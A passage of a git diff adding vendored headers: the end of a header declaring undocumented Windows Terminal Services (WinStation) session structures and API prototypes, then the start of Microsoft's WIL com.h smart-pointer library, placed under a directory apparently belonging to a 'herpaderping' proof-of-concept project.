+{ + SDCLASS SdClass; // Stack driver class. Indicates which one of the union's structures is valid. + union + { + NETWORKCONFIG Network; // Configuration of network drivers. Used if SdClass is SdNetwork. + ASYNCCONFIG Async; // Configuration of async (modem) driver. Used if SdClass is SdAsync. + NASICONFIG Nasi; // Reserved. + OEMTDCONFIG OemTd; // Configuration of OEM transport driver. Used if SdClass is SdOemTransport. + }; +} PDPARAMS, *PPDPARAMS; + +// The WinStation (session) driver configuration. +typedef struct _WDCONFIG +{ + WDNAME WdName; // The descriptive name of the WinStation driver. + DLLNAME WdDLL; // The driver's image name. + DLLNAME WsxDLL; // Used by the Terminal Services service to communicate with the WinStation driver. + ULONG WdFlag; // Driver flags. + ULONG WdInputBufferLength; // Length, in bytes, of the input buffer used by the driver. Defaults to 2048. + DLLNAME CfgDLL; // Configuration DLL used by Terminal Services administrative tools for configuring the driver. + WDPREFIX WdPrefix; // Used as the prefix of the WinStation name generated for the connected sessions with this WinStation driver. +} WDCONFIG, *PWDCONFIG; + +// The protocol driver's software configuration. +typedef struct _PDCONFIG2 +{ + PDNAME PdName; + SDCLASS SdClass; + DLLNAME PdDLL; + ULONG PdFlag; + ULONG OutBufLength; + ULONG OutBufCount; + ULONG OutBufDelay; + ULONG InteractiveDelay; + ULONG PortNumber; + ULONG KeepAliveTimeout; +} PDCONFIG2, *PPDCONFIG2; + +// WinStationClient +typedef struct _WINSTATIONCLIENT +{ + ULONG fTextOnly : 1; + ULONG fDisableCtrlAltDel : 1; + ULONG fMouse : 1; + ULONG fDoubleClickDetect : 1; + ULONG fINetClient : 1; + ULONG fPromptForPassword : 1; + ULONG fMaximizeShell : 1; + ULONG fEnableWindowsKey : 1; + ULONG fRemoteConsoleAudio : 1; + ULONG fPasswordIsScPin : 1; + ULONG fNoAudioPlayback : 1; + ULONG fUsingSavedCreds : 1; + WCHAR ClientName[CLIENTNAME_LENGTH + 1]; + WCHAR Domain[DOMAIN_LENGTH + 1]; + WCHAR UserName[USERNAME_LENGTH + 1]; + WCHAR Password[PASSWORD_LENGTH + 1]; + WCHAR WorkDirectory[DIRECTORY_LENGTH + 1]; + WCHAR InitialProgram[INITIALPROGRAM_LENGTH + 1]; + ULONG SerialNumber; + BYTE EncryptionLevel; + ULONG ClientAddressFamily; + WCHAR ClientAddress[CLIENTADDRESS_LENGTH + 1]; + USHORT HRes; + USHORT VRes; + USHORT ColorDepth; + USHORT ProtocolType; + ULONG KeyboardLayout; + ULONG KeyboardType; + ULONG KeyboardSubType; + ULONG KeyboardFunctionKey; + WCHAR ImeFileName[IMEFILENAME_LENGTH + 1]; + WCHAR ClientDirectory[DIRECTORY_LENGTH + 1]; + WCHAR ClientLicense[CLIENTLICENSE_LENGTH + 1]; + WCHAR ClientModem[CLIENTMODEM_LENGTH + 1]; + ULONG ClientBuildNumber; + ULONG ClientHardwareId; + USHORT ClientProductId; + USHORT OutBufCountHost; + USHORT OutBufCountClient; + USHORT OutBufLength; + WCHAR AudioDriverName[9]; + TS_TIME_ZONE_INFORMATION ClientTimeZone; + ULONG ClientSessionId; + WCHAR ClientDigProductId[CLIENT_PRODUCT_ID_LENGTH]; + ULONG PerformanceFlags; + ULONG ActiveInputLocale; +} WINSTATIONCLIENT, *PWINSTATIONCLIENT; + +typedef struct _TSHARE_COUNTERS +{ + ULONG Reserved; +} TSHARE_COUNTERS, *PTSHARE_COUNTERS; + +typedef struct _PROTOCOLCOUNTERS +{ + ULONG WdBytes; + ULONG WdFrames; + ULONG WaitForOutBuf; + ULONG Frames; + ULONG Bytes; + ULONG CompressedBytes; + ULONG CompressFlushes; + ULONG Errors; + ULONG Timeouts; + ULONG AsyncFramingError; + ULONG AsyncOverrunError; + ULONG AsyncOverflowError; + ULONG AsyncParityError; + ULONG TdErrors; + USHORT ProtocolType; + USHORT Length; + union + { + TSHARE_COUNTERS TShareCounters; + ULONG Reserved[100]; + } Specific; +} PROTOCOLCOUNTERS, *PPROTOCOLCOUNTERS; + +typedef struct _THINWIRECACHE +{ + ULONG CacheReads; + ULONG CacheHits; +} THINWIRECACHE, *PTHINWIRECACHE; + +#define MAX_THINWIRECACHE 4 + +typedef struct _RESERVED_CACHE +{ + THINWIRECACHE ThinWireCache[MAX_THINWIRECACHE]; +} RESERVED_CACHE, *PRESERVED_CACHE; + +typedef struct _TSHARE_CACHE +{ + ULONG Reserved; +} TSHARE_CACHE, *PTSHARE_CACHE; + +typedef struct CACHE_STATISTICS +{ + USHORT ProtocolType; + USHORT Length; + union + { + RESERVED_CACHE ReservedCacheStats; + TSHARE_CACHE TShareCacheStats; + ULONG Reserved[20]; + } Specific; +} CACHE_STATISTICS, *PCACHE_STATISTICS; + +typedef struct _PROTOCOLSTATUS +{ + PROTOCOLCOUNTERS Output; + PROTOCOLCOUNTERS Input; + CACHE_STATISTICS Cache; + ULONG AsyncSignal; + ULONG AsyncSignalMask; +} PROTOCOLSTATUS, *PPROTOCOLSTATUS; + +// Retrieves information on the session. +typedef struct _WINSTATIONINFORMATION +{ + WINSTATIONSTATECLASS ConnectState; + WINSTATIONNAME WinStationName; + ULONG LogonId; + LARGE_INTEGER ConnectTime; + LARGE_INTEGER DisconnectTime; + LARGE_INTEGER LastInputTime; + LARGE_INTEGER LogonTime; + PROTOCOLSTATUS Status; + WCHAR Domain[DOMAIN_LENGTH + 1]; + WCHAR UserName[USERNAME_LENGTH + 1]; + LARGE_INTEGER CurrentTime; +} WINSTATIONINFORMATION, *PWINSTATIONINFORMATION; + +// Retrieves the user's token in the session. Caller requires WINSTATION_ALL_ACCESS permission. +typedef struct _WINSTATIONUSERTOKEN +{ + HANDLE ProcessId; + HANDLE ThreadId; + HANDLE UserToken; +} WINSTATIONUSERTOKEN, *PWINSTATIONUSERTOKEN; + +// Retrieves resolution and color depth of the session. +typedef struct _WINSTATIONVIDEODATA +{ + USHORT HResolution; + USHORT VResolution; + USHORT fColorDepth; +} WINSTATIONVIDEODATA, *PWINSTATIONVIDEODATA; + +typedef enum _CDCLASS +{ + CdNone, // No connection driver. + CdModem, // Connection driver is a modem. + CdClass_Maximum, +} CDCLASS; + +// Connection driver configuration. It is used for connecting via modem to a server. +typedef struct _CDCONFIG +{ + CDCLASS CdClass; // Connection driver type. + CDNAME CdName; // Connection driver descriptive name. + DLLNAME CdDLL; // Connection driver image name. + ULONG CdFlag; // Connection driver flags. Connection driver specific. +} CDCONFIG, *PCDCONFIG; + +// The name has the following form: +// name syntax : xxxyyyy +typedef CHAR CLIENTDATANAME[CLIENTDATANAME_LENGTH + 1]; +typedef CHAR* PCLIENTDATANAME; + +typedef struct _WINSTATIONCLIENTDATA +{ + CLIENTDATANAME DataName; // Identifies the type of data sent in this WINSTATIONCLIENTDATA structure. The definition is dependent on the caller and on the client receiving it. This MUST be a data name following a format similar to that of the CLIENTDATANAME data type. + BOOLEAN fUnicodeData; // TRUE indicates data is in Unicode format; FALSE otherwise. +} WINSTATIONCLIENTDATA, *PWINSTATIONCLIENTDATA; + +typedef enum _LOADFACTORTYPE +{ + ErrorConstraint, // An error occurred while obtaining constraint data. + PagedPoolConstraint, // The amount of paged pool is the constraint. + NonPagedPoolConstraint, // The amount of non-paged pool is the constraint. + AvailablePagesConstraint, // The amount of available pages is the constraint. + SystemPtesConstraint, // The number of system page table entries (PTEs) is the constraint. + CPUConstraint // CPU usage is the constraint. +} LOADFACTORTYPE; + +// The WINSTATIONLOADINDICATORDATA structure defines data used for the load balancing of a server. +typedef struct _WINSTATIONLOADINDICATORDATA +{ + ULONG RemainingSessionCapacity; // The estimated number of additional sessions that can be supported given the CPU constraint. + LOADFACTORTYPE LoadFactor; // Indicates the most constrained current resource. + ULONG TotalSessions; // The total number of sessions. + ULONG DisconnectedSessions; // The number of disconnected sessions. + LARGE_INTEGER IdleCPU; // This is always set to 0. + LARGE_INTEGER TotalCPU; // This is always set to 0. + ULONG RawSessionCapacity; // The raw number of sessions capacity. + ULONG reserved[9]; // Reserved. +} WINSTATIONLOADINDICATORDATA, *PWINSTATIONLOADINDICATORDATA; + +typedef enum _SHADOWSTATECLASS +{ + State_NoShadow, // No shadow operations are currently being performed on this session. + State_Shadowing, // The session is shadowing a different session. The current session is referred to as a shadow client. + State_Shadowed // The session is being shadowed by a different session. The current session is referred to as a shadow target. +} SHADOWSTATECLASS; + +// Retrieves the current shadow state of a session. +typedef struct _WINSTATIONSHADOW +{ + SHADOWSTATECLASS ShadowState; // Specifies the current state of shadowing. + SHADOWCLASS ShadowClass; // Specifies the type of shadowing. + ULONG SessionId; // Specifies the session ID of the session. + ULONG ProtocolType; // Specifies the type of protocol on the session. Can be one of the following values. +} WINSTATIONSHADOW, *PWINSTATIONSHADOW; + +// Retrieves the client product ID and current product ID of the session. +typedef struct _WINSTATIONPRODID +{ + WCHAR DigProductId[CLIENT_PRODUCT_ID_LENGTH]; + WCHAR ClientDigProductId[CLIENT_PRODUCT_ID_LENGTH]; + WCHAR OuterMostDigProductId[CLIENT_PRODUCT_ID_LENGTH]; + ULONG CurrentSessionId; + ULONG ClientSessionId; + ULONG OuterMostSessionId; +} WINSTATIONPRODID, *PWINSTATIONPRODID; + +// Retrieves the remote IP address of the terminal server client in the session. +typedef struct _WINSTATIONREMOTEADDRESS +{ + USHORT sin_family; + union + { + struct + { + USHORT sin_port; + ULONG sin_addr; + UCHAR sin_zero[8]; + } ipv4; + struct + { + USHORT sin6_port; + ULONG sin6_flowinfo; + USHORT sin6_addr[8]; + ULONG sin6_scope_id; + } ipv6; + }; +} WINSTATIONREMOTEADDRESS, *PWINSTATIONREMOTEADDRESS; + +// WinStationInformationEx + +// private +typedef struct _WINSTATIONINFORMATIONEX_LEVEL1 +{ + ULONG SessionId; + WINSTATIONSTATECLASS SessionState; + LONG SessionFlags; + WINSTATIONNAME WinStationName; + WCHAR UserName[USERNAME_LENGTH + 1]; + WCHAR DomainName[DOMAIN_LENGTH + 1]; + LARGE_INTEGER LogonTime; + LARGE_INTEGER ConnectTime; + LARGE_INTEGER DisconnectTime; + LARGE_INTEGER LastInputTime; + LARGE_INTEGER CurrentTime; + PROTOCOLSTATUS ProtocolStatus; +} WINSTATIONINFORMATIONEX_LEVEL1, *PWINSTATIONINFORMATIONEX_LEVEL1; + +// private +typedef struct _WINSTATIONINFORMATIONEX_LEVEL2 +{ + ULONG SessionId; + WINSTATIONSTATECLASS SessionState; + LONG SessionFlags; + WINSTATIONNAME WinStationName; + WCHAR SamCompatibleUserName[USERNAME_LENGTH + 1]; + WCHAR SamCompatibleDomainName[DOMAIN_LENGTH + 1]; + LARGE_INTEGER LogonTime; + LARGE_INTEGER ConnectTime; + LARGE_INTEGER DisconnectTime; + LARGE_INTEGER LastInputTime; + LARGE_INTEGER CurrentTime; + PROTOCOLSTATUS ProtocolStatus; + WCHAR UserName[257]; + WCHAR DomainName[256]; +} WINSTATIONINFORMATIONEX_LEVEL2, *PWINSTATIONINFORMATIONEX_LEVEL2; + +// private +typedef union _WINSTATIONINFORMATIONEX_LEVEL +{ + WINSTATIONINFORMATIONEX_LEVEL1 WinStationInfoExLevel1; + WINSTATIONINFORMATIONEX_LEVEL2 WinStationInfoExLevel2; +} WINSTATIONINFORMATIONEX_LEVEL, *PWINSTATIONINFORMATIONEX_LEVEL; + +// private +typedef struct _WINSTATIONINFORMATIONEX +{ + ULONG Level; + WINSTATIONINFORMATIONEX_LEVEL Data; +} WINSTATIONINFORMATIONEX, *PWINSTATIONINFORMATIONEX; + +#define TS_PROCESS_INFO_MAGIC_NT4 0x23495452 + +typedef struct _TS_PROCESS_INFORMATION_NT4 +{ + ULONG MagicNumber; + ULONG LogonId; + PVOID ProcessSid; + ULONG Pad; +} TS_PROCESS_INFORMATION_NT4, *PTS_PROCESS_INFORMATION_NT4; + +#define SIZEOF_TS4_SYSTEM_THREAD_INFORMATION 64 +#define SIZEOF_TS4_SYSTEM_PROCESS_INFORMATION 136 + +typedef struct _TS_SYS_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + LONG BasePriority; + ULONG UniqueProcessId; + ULONG InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG SpareUl3; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + ULONG PeakWorkingSetSize; + ULONG WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} TS_SYS_PROCESS_INFORMATION, *PTS_SYS_PROCESS_INFORMATION; + +typedef struct _TS_ALL_PROCESSES_INFO +{ + PTS_SYS_PROCESS_INFORMATION pTsProcessInfo; + ULONG SizeOfSid; + PSID pSid; +} TS_ALL_PROCESSES_INFO, *PTS_ALL_PROCESSES_INFO; + +typedef struct _TS_COUNTER_HEADER +{ + DWORD dwCounterID; + BOOLEAN bResult; +} TS_COUNTER_HEADER, *PTS_COUNTER_HEADER; + +typedef struct _TS_COUNTER +{ + TS_COUNTER_HEADER CounterHead; + DWORD dwValue; + LARGE_INTEGER StartTime; +} TS_COUNTER, *PTS_COUNTER; + +// Flags for WinStationShutdownSystem +#define WSD_LOGOFF 0x1 +#define WSD_SHUTDOWN 0x2 +#define WSD_REBOOT 0x4 +#define WSD_POWEROFF 0x8 + +// Flags for WinStationWaitSystemEvent +#define WEVENT_NONE 0x0 +#define WEVENT_CREATE 0x1 +#define WEVENT_DELETE 0x2 +#define WEVENT_RENAME 0x4 +#define WEVENT_CONNECT 0x8 +#define WEVENT_DISCONNECT 0x10 +#define WEVENT_LOGON 0x20 +#define WEVENT_LOGOFF 0x40 +#define WEVENT_STATECHANGE 0x80 +#define WEVENT_LICENSE 0x100 +#define WEVENT_ALL 0x7fffffff +#define WEVENT_FLUSH 0x80000000 + +// Hotkey modifiers for WinStationShadow +#define KBDSHIFT 0x1 +#define KBDCTRL 0x2 +#define KBDALT 0x4 + +// begin_rev +// Flags for WinStationRegisterConsoleNotification +#define WNOTIFY_ALL_SESSIONS 0x1 +// end_rev + +// In the functions below, memory returned can be freed using LocalFree. NULL can be specified for +// server handles to indicate the local server. -1 can be specified for session IDs to indicate the +// current session ID. + +#define LOGONID_CURRENT (-1) +#define SERVERNAME_CURRENT ((PWSTR)NULL) + +// rev +BOOLEAN +WINAPI +WinStationFreeMemory( + _In_ PVOID Buffer + ); + +// rev +HANDLE +WINAPI +WinStationOpenServerW( + _In_ PWSTR ServerName + ); + +// rev +BOOLEAN +WINAPI +WinStationCloseServer( + _In_ HANDLE ServerHandle + ); + +// rev +BOOLEAN +WINAPI +WinStationServerPing( + _In_opt_ HANDLE ServerHandle + ); + +// rev +BOOLEAN +WINAPI +WinStationGetTermSrvCountersValue( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG Count, + _Inout_ PTS_COUNTER Counters // set counter IDs before calling + ); + +BOOLEAN +WINAPI +WinStationShutdownSystem( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG ShutdownFlags // WSD_* + ); + +// rev +BOOLEAN +WINAPI +WinStationWaitSystemEvent( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG EventMask, // WEVENT_* + _Out_ PULONG EventFlags + ); + +// rev +BOOLEAN +WINAPI +WinStationRegisterConsoleNotification( + _In_opt_ HANDLE ServerHandle, + _In_ HWND WindowHandle, + _In_ ULONG Flags + ); + +// rev +BOOLEAN +WINAPI +WinStationUnRegisterConsoleNotification( + _In_opt_ HANDLE ServerHandle, + _In_ HWND WindowHandle + ); + +// Sessions + +// rev +BOOLEAN +WINAPI +WinStationEnumerateW( + _In_opt_ HANDLE ServerHandle, + _Out_ PSESSIONIDW *SessionIds, + _Out_ PULONG Count + ); + +BOOLEAN +WINAPI +WinStationQueryInformationW( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _In_ WINSTATIONINFOCLASS WinStationInformationClass, + _Out_writes_bytes_(WinStationInformationLength) PVOID pWinStationInformation, + _In_ ULONG WinStationInformationLength, + _Out_ PULONG pReturnLength + ); + +// rev +BOOLEAN +WINAPI +WinStationSetInformationW( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _In_ WINSTATIONINFOCLASS WinStationInformationClass, + _In_reads_bytes_(WinStationInformationLength) PVOID pWinStationInformation, + _In_ ULONG WinStationInformationLength + ); + +BOOLEAN +WINAPI +WinStationNameFromLogonIdW( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _Out_writes_(WINSTATIONNAME_LENGTH + 1) PWSTR pWinStationName + ); + +// rev +BOOLEAN +WINAPI +WinStationSendMessageW( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _In_ PWSTR Title, + _In_ ULONG TitleLength, + _In_ PWSTR Message, + _In_ ULONG MessageLength, + _In_ ULONG Style, + _In_ ULONG Timeout, + _Out_ PULONG Response, + _In_ BOOLEAN DoNotWait + ); + +BOOLEAN +WINAPI +WinStationConnectW( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _In_ ULONG TargetSessionId, + _In_opt_ PWSTR pPassword, + _In_ BOOLEAN bWait + ); + +BOOLEAN +WINAPI +WinStationDisconnect( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _In_ BOOLEAN bWait + ); + +// rev +BOOLEAN +WINAPI +WinStationReset( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _In_ BOOLEAN bWait + ); + +// rev +BOOLEAN +WINAPI +WinStationShadow( + _In_opt_ HANDLE ServerHandle, + _In_ PWSTR TargetServerName, + _In_ ULONG TargetSessionId, + _In_ UCHAR HotKeyVk, + _In_ USHORT HotkeyModifiers // KBD* + ); + +// rev +BOOLEAN +WINAPI +WinStationShadowStop( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG SessionId, + _In_ BOOLEAN bWait // ignored + ); + +// Processes + +// rev +BOOLEAN +WINAPI +WinStationEnumerateProcesses( + _In_opt_ HANDLE ServerHandle, + _Out_ PVOID *Processes + ); + +// rev +BOOLEAN +WINAPI +WinStationGetAllProcesses( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG Level, + _Out_ PULONG NumberOfProcesses, + _Out_ PTS_ALL_PROCESSES_INFO *Processes + ); + +// rev +BOOLEAN +WINAPI +WinStationFreeGAPMemory( + _In_ ULONG Level, + _In_ PTS_ALL_PROCESSES_INFO Processes, + _In_ ULONG NumberOfProcesses + ); + +// rev +BOOLEAN +WINAPI +WinStationTerminateProcess( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG ProcessId, + _In_ ULONG ExitCode + ); + +BOOLEAN +WINAPI +WinStationGetProcessSid( + _In_opt_ HANDLE ServerHandle, + _In_ ULONG ProcessId, + _In_ FILETIME ProcessStartTime, + _Out_ PVOID pProcessUserSid, + _Inout_ PULONG dwSidSize + ); + +// Services isolation + +#if (PHNT_VERSION >= PHNT_VISTA) + +// rev +BOOLEAN +WINAPI +WinStationSwitchToServicesSession( + VOID + ); + +// rev +BOOLEAN +WINAPI +WinStationRevertFromServicesSession( + VOID + ); + +#endif + +// Misc. + +BOOLEAN +WINAPI +_WinStationWaitForConnect( + VOID + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/com.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/com.h new file mode 100644 index 00000000..5e6337d1 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/com.h @@ -0,0 +1,2832 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_COM_INCLUDED +#define __WIL_COM_INCLUDED + +#include +#include +#include "result.h" +#include "resource.h" // last to ensure _COMBASEAPI_H_ protected definitions are available + +// Forward declaration within WIL (see https://msdn.microsoft.com/en-us/library/br244983.aspx) +/// @cond +namespace Microsoft +{ + namespace WRL + { + template + class ComPtr; + } +} +/// @endcond + +namespace wil +{ + /// @cond + namespace details + { + // We can't directly use wistd::is_convertible as it returns TRUE for an ambiguous conversion. + // Adding is_abstract to the mix, enables us to allow conversion for interfaces, but deny it for + // classes (where the multiple inheritance causes ambiguity). + // NOTE: I've reached out to vcsig on this topic and it turns out that __is_convertible_to should NEVER + // return true for ambiguous conversions. This was a bug in our compiler that has since been fixed. + // Eventually, once that fix propagates we can move to a more efficient __is_convertible_to without + // the added complexity. + template + struct is_com_convertible : + wistd::bool_constant<__is_convertible_to(TFrom, TTo) && (__is_abstract(TFrom) || wistd::is_same::value)> + { + }; + + typedef wistd::integral_constant tag_com_query; + typedef wistd::integral_constant tag_try_com_query; + typedef wistd::integral_constant tag_com_copy; + typedef wistd::integral_constant tag_try_com_copy; + + class default_query_policy + { + public: + template + inline static HRESULT query(_In_ T* ptr, REFIID riid, _COM_Outptr_ void** result) + { + return ptr->QueryInterface(riid, result); + } + + template + inline static HRESULT query(_In_ T* ptr, _COM_Outptr_ TResult** result) + { + return query_dispatch(ptr, typename details::is_com_convertible::type(), result); + } + + private: + template + inline static HRESULT query_dispatch(_In_ T* ptr, wistd::true_type, _COM_Outptr_ TResult** result) // convertible + { + *result = ptr; + (*result)->AddRef(); + return S_OK; + } + + template + inline static HRESULT query_dispatch(_In_ T* ptr, wistd::false_type, _COM_Outptr_ TResult** result) // not convertible + { + auto hr = ptr->QueryInterface(IID_PPV_ARGS(result)); + __analysis_assume(SUCCEEDED(hr) || (*result == nullptr)); + return hr; + } + }; + + template + struct query_policy_helper + { + typedef default_query_policy type; + }; + + class weak_query_policy + { + public: + inline static HRESULT query(_In_ IWeakReference* ptr, REFIID riid, _COM_Outptr_ void** result) + { + WI_ASSERT_MSG(riid != __uuidof(IWeakReference), "Cannot resolve a weak reference to IWeakReference"); + *result = nullptr; + + IInspectable* temp; + HRESULT hr = ptr->Resolve(__uuidof(IInspectable), reinterpret_cast(&temp)); + if (SUCCEEDED(hr)) + { + if (temp == nullptr) + { + return E_NOT_SET; + } + hr = temp->QueryInterface(riid, result); + __analysis_assume(SUCCEEDED(hr) || (*result == nullptr)); + temp->Release(); + } + + return hr; + } + + template + inline static HRESULT query(_In_ IWeakReference* ptr, _COM_Outptr_ TResult** result) + { + static_assert(!wistd::is_same::value, "Cannot resolve a weak reference to IWeakReference"); + return query_dispatch(ptr, wistd::is_base_of(), result); + } + + private: + template + static HRESULT query_dispatch(_In_ IWeakReference* ptr, wistd::true_type, _COM_Outptr_ TResult** result) + { + auto hr = ptr->Resolve(__uuidof(TResult), reinterpret_cast(result)); + if (SUCCEEDED(hr) && (*result == nullptr)) + { + hr = E_NOT_SET; + } + __analysis_assume(SUCCEEDED(hr) || (*result == nullptr)); + return hr; + } + + template + static HRESULT query_dispatch(_In_ IWeakReference* ptr, wistd::false_type, _COM_Outptr_ TResult** result) + { + return query(ptr, IID_PPV_ARGS(result)); + } + }; + + template <> + struct query_policy_helper + { + typedef weak_query_policy type; + }; + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) + class agile_query_policy + { + public: + inline static HRESULT query(_In_ IAgileReference* ptr, REFIID riid, _COM_Outptr_ void** result) + { + WI_ASSERT_MSG(riid != __uuidof(IAgileReference), "Cannot resolve a agile reference to IAgileReference"); + auto hr = ptr->Resolve(riid, result); + __analysis_assume(SUCCEEDED(hr) || (*result == nullptr)); // IAgileReference::Resolve not annotated correctly + return hr; + } + + template + static HRESULT query(_In_ IAgileReference* ptr, _COM_Outptr_ TResult** result) + { + static_assert(!wistd::is_same::value, "Cannot resolve a agile reference to IAgileReference"); + return query(ptr, __uuidof(TResult), reinterpret_cast(result)); + } + }; + + template <> + struct query_policy_helper + { + typedef agile_query_policy type; + }; +#endif + + template + using query_policy_t = typename query_policy_helper::type>::type; + + } // details + /// @endcond + + //! Represents the base template type that implements com_ptr, com_weak_ref, and com_agile_ref. + //! See @ref page_comptr for more background. See @ref page_query for more information on querying with WIL. + //! @tparam T Represents the type being held by the com_ptr_t. + //! For com_ptr, this will always be the interface being represented. For com_weak_ref, this will always be + //! IWeakReference. For com_agile_ref, this will always be IAgileReference. + //! @tparam err_policy Represents the error policy for the class (error codes, exceptions, or fail fast; see @ref page_errors) + template + class com_ptr_t + { + private: + typedef typename wistd::add_lvalue_reference::type element_type_reference; + typedef details::query_policy_t query_policy; + public: + //! The function return result (HRESULT or void) for the given err_policy (see @ref page_errors). + typedef typename err_policy::result result; + //! The template type `T` being held by the com_ptr_t. + typedef T element_type; + //! A pointer to the template type `T` being held by the com_ptr_t (what `get()` returns). + typedef T* pointer; + + //! @name Constructors + //! @{ + + //! Default constructor (holds nullptr). + com_ptr_t() WI_NOEXCEPT : + m_ptr(nullptr) + { + } + + //! Implicit construction from nullptr_t (holds nullptr). + com_ptr_t(wistd::nullptr_t) WI_NOEXCEPT : + com_ptr_t() + { + } + + //! Implicit construction from a compatible raw interface pointer (AddRef's the parameter). + com_ptr_t(pointer ptr) WI_NOEXCEPT : + m_ptr(ptr) + { + if (m_ptr) + { + m_ptr->AddRef(); + } + } + + //! Copy-construction from a like `com_ptr_t` (copies and AddRef's the parameter). + com_ptr_t(const com_ptr_t& other) WI_NOEXCEPT : + com_ptr_t(other.get()) + { + } + + //! Copy-construction from a convertible `com_ptr_t` (copies and AddRef's the parameter). + template > + com_ptr_t(const com_ptr_t& other) WI_NOEXCEPT : + com_ptr_t(static_cast(other.get())) + { + } + + //! Move construction from a like `com_ptr_t` (avoids AddRef/Release by moving from the parameter). + com_ptr_t(com_ptr_t&& other) WI_NOEXCEPT : + m_ptr(other.detach()) + { + } + + //! Move construction from a compatible `com_ptr_t` (avoids AddRef/Release by moving from the parameter). + template > + com_ptr_t(com_ptr_t&& other) WI_NOEXCEPT : + m_ptr(other.detach()) + { + } + //! @} + + //! Destructor (releases the pointer). + ~com_ptr_t() WI_NOEXCEPT + { + if (m_ptr) + { + m_ptr->Release(); + } + } + + //! @name Assignment operators + //! @{ + + //! Assign to nullptr (releases the current pointer, holds nullptr). + com_ptr_t& operator=(wistd::nullptr_t) WI_NOEXCEPT + { + reset(); + return *this; + } + + //! Assign a compatible raw interface pointer (releases current pointer, copies and AddRef's the parameter). + com_ptr_t& operator=(pointer other) WI_NOEXCEPT + { + auto ptr = m_ptr; + m_ptr = other; + if (m_ptr) + { + m_ptr->AddRef(); + } + if (ptr) + { + ptr->Release(); + } + return *this; + } + + //! Assign a like `com_ptr_t` (releases current pointer, copies and AddRef's the parameter). + com_ptr_t& operator=(const com_ptr_t& other) WI_NOEXCEPT + { + return operator=(other.get()); + } + + //! Assign a convertible `com_ptr_t` (releases current pointer, copies and AddRef's the parameter). + template > + com_ptr_t& operator=(const com_ptr_t& other) WI_NOEXCEPT + { + return operator=(static_cast(other.get())); + } + + //! Move assign from a like `com_ptr_t` (releases current pointer, avoids AddRef/Release by moving the parameter). + com_ptr_t& operator=(com_ptr_t&& other) WI_NOEXCEPT + { + attach(other.detach()); + return *this; + } + + //! Move assignment from a compatible `com_ptr_t` (releases current pointer, avoids AddRef/Release by moving from the parameter). + template > + com_ptr_t& operator=(com_ptr_t&& other) WI_NOEXCEPT + { + attach(other.detach()); + return *this; + } + //! @} + + //! @name Modifiers + //! @{ + + //! Swap pointers with an another named com_ptr_t object. + template + void swap(com_ptr_t& other) WI_NOEXCEPT + { + auto ptr = m_ptr; + m_ptr = other.m_ptr; + other.m_ptr = ptr; + } + + //! Swap pointers with a rvalue reference to another com_ptr_t object. + template + void swap(com_ptr_t&& other) WI_NOEXCEPT + { + swap(other); + } + + //! Releases the pointer and sets it to nullptr. + void reset() WI_NOEXCEPT + { + auto ptr = m_ptr; + m_ptr = nullptr; + if (ptr) + { + ptr->Release(); + } + } + + //! Releases the pointer and sets it to nullptr. + void reset(wistd::nullptr_t) WI_NOEXCEPT + { + reset(); + } + + //! Takes ownership of a compatible raw interface pointer (releases pointer, copies but DOES NOT AddRef the parameter). + void attach(pointer other) WI_NOEXCEPT + { + auto ptr = m_ptr; + m_ptr = other; + if (ptr) + { + ULONG ref; + ref = ptr->Release(); + WI_ASSERT_MSG(((other != ptr) || (ref > 0)), "Bug: Attaching the same already assigned, destructed pointer"); + } + } + + //! Relinquishes ownership and returns the internal interface pointer (DOES NOT release the detached pointer, sets class pointer to null). + WI_NODISCARD pointer detach() WI_NOEXCEPT + { + auto temp = m_ptr; + m_ptr = nullptr; + return temp; + } + + //! Returns the address of the internal pointer (releases ownership of the pointer BEFORE returning the address). + //! The pointer is explicitly released to prevent accidental leaks of the pointer. Coding standards generally indicate that + //! there is little valid `_Inout_` use of `IInterface**`, making this safe to do under typical use. + //! @see addressof + //! ~~~~ + //! STDAPI GetMuffin(IMuffin **muffin); + //! wil::com_ptr myMuffin; + //! THROW_IF_FAILED(GetMuffin(myMuffin.put())); + //! ~~~~ + pointer* put() WI_NOEXCEPT + { + reset(); + return &m_ptr; + } + + //! Returns the address of the internal pointer casted to void** (releases ownership of the pointer BEFORE returning the address). + //! @see put + void** put_void() WI_NOEXCEPT + { + return reinterpret_cast(put()); + } + + //! Returns the address of the internal pointer casted to IUnknown** (releases ownership of the pointer BEFORE returning the address). + //! 